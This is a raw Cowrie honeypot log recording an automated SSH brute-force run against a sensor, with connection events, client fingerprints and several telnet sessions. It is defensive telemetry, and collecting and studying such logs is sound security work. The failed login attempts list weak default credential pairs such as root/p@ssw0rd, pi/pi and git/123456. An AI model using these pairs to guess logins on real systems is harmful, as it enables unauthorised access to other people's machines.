{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:54.802563Z","src_ip":"192.109.200.237","session":"3ed19632b087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"elsearch","message":"login attempt [elsearch/elsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:55.052302Z","src_ip":"192.109.200.237","session":"3ed19632b087","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:56.149072Z","src_ip":"192.109.200.237","session":"3ed19632b087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60498,"dst_ip":"159.203.135.109","dst_port":22,"session":"89a2205edf4f","protocol":"ssh","message":"New connection: 192.109.200.237:60498 (159.203.135.109:22) [session: 89a2205edf4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:58.169454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:58.174518Z","src_ip":"192.109.200.237","session":"89a2205edf4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:58.257375Z","src_ip":"192.109.200.237","session":"89a2205edf4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:58.668233Z","src_ip":"192.109.200.237","session":"89a2205edf4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:59.753542Z","src_ip":"192.109.200.237","session":"89a2205edf4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60568,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c9a9dceeeb6","protocol":"ssh","message":"New connection: 192.109.200.237:60568 (159.203.135.109:22) [session: 3c9a9dceeeb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:01.815168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:01.821012Z","src_ip":"192.109.200.237","session":"3c9a9dceeeb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:01.908055Z","src_ip":"192.109.200.237","session":"3c9a9dceeeb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecs-user","password":"ecs-user","message":"login attempt [ecs-user/ecs-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:02.156213Z","src_ip":"192.109.200.237","session":"3c9a9dceeeb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:03.241621Z","src_ip":"192.109.200.237","session":"3c9a9dceeeb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60584,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccd53929f474","protocol":"ssh","message":"New connection: 192.109.200.237:60584 (159.203.135.109:22) [session: ccd53929f474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:05.527051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:05.531623Z","src_ip":"192.109.200.237","session":"ccd53929f474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:05.613816Z","src_ip":"192.109.200.237","session":"ccd53929f474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:05.861165Z","src_ip":"192.109.200.237","session":"ccd53929f474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.07502770423889,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:06.353372Z","src_ip":"50.6.8.71","session":"478d063930ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:06.947337Z","src_ip":"192.109.200.237","session":"ccd53929f474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.489693641662598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:08.994329Z","src_ip":"50.6.8.71","session":"6b204fd63917","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60598,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c96c7ef8aff","protocol":"ssh","message":"New connection: 192.109.200.237:60598 (159.203.135.109:22) [session: 7c96c7ef8aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:09.349553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:09.353482Z","src_ip":"192.109.200.237","session":"7c96c7ef8aff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:09.435730Z","src_ip":"192.109.200.237","session":"7c96c7ef8aff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:09.685639Z","src_ip":"192.109.200.237","session":"7c96c7ef8aff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:10.771291Z","src_ip":"192.109.200.237","session":"7c96c7ef8aff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60592,"dst_ip":"159.203.135.109","dst_port":22,"session":"ded17439ec2b","protocol":"ssh","message":"New connection: 192.109.200.237:60592 (159.203.135.109:22) [session: ded17439ec2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:12.879811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:12.884099Z","src_ip":"192.109.200.237","session":"ded17439ec2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:12.966328Z","src_ip":"192.109.200.237","session":"ded17439ec2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:13.212861Z","src_ip":"192.109.200.237","session":"ded17439ec2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:14.297900Z","src_ip":"192.109.200.237","session":"ded17439ec2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00158905982971,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:14.468739Z","src_ip":"67.222.148.25","session":"77b14482b52a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.88418459892273,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:16.034536Z","src_ip":"50.6.8.71","session":"76ac01d95001","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60600,"dst_ip":"159.203.135.109","dst_port":22,"session":"53f67c3cab09","protocol":"ssh","message":"New connection: 192.109.200.237:60600 (159.203.135.109:22) [session: 53f67c3cab09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:16.409329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:16.412966Z","src_ip":"192.109.200.237","session":"53f67c3cab09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:16.493723Z","src_ip":"192.109.200.237","session":"53f67c3cab09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:16.846907Z","src_ip":"192.109.200.237","session":"53f67c3cab09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:17.932485Z","src_ip":"192.109.200.237","session":"53f67c3cab09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37728,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0b85c12db93","protocol":"ssh","message":"New connection: 192.109.200.237:37728 (159.203.135.109:22) [session: d0b85c12db93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:20.115662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:20.120485Z","src_ip":"192.109.200.237","session":"d0b85c12db93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:20.203569Z","src_ip":"192.109.200.237","session":"d0b85c12db93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:20.453998Z","src_ip":"192.109.200.237","session":"d0b85c12db93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38888,"dst_ip":"10.17.0.5","dst_port":23,"session":"f422edbeb03f","protocol":"telnet","message":"New connection: 50.6.8.71:38888 (10.17.0.5:23) [session: f422edbeb03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:20.998778Z"}
{"eventid":"cowrie.session.closed","duration":32.75105547904968,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:21.234845Z","src_ip":"50.6.8.71","session":"6cd6cb447c7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:21.539493Z","src_ip":"192.109.200.237","session":"d0b85c12db93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37736,"dst_ip":"159.203.135.109","dst_port":22,"session":"46d548784d4f","protocol":"ssh","message":"New connection: 192.109.200.237:37736 (159.203.135.109:22) [session: 46d548784d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:23.621360Z"}
